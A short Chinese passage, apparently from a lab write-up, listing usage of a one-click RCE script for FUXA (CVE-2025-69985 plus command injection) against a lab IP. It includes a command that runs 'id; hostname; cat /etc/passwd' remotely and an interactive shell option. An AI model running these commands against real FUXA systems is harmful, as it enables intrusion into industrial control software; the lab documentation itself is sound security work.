| fuxa_rce.py | CVE-2025-69985 + 命令注入一键 RCE 脚本,支持单命令执行 (-c) 和交互 shell (--shell) |
脚本使用示例:
# 漏洞检测
python3 fuxa_rce.py -t http://192.168.1.112:1881 --check
# 单命令执行
python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "id; hostname; cat /etc/passwd"
# 交互式 pseudo-shell
python3 fuxa_rce.py -t http://192.168.1.112:1881 --shell
所有脚本默认使用本文实验 IP 192.168.1.112,若靶机 IP 不同请修改 -t 参数。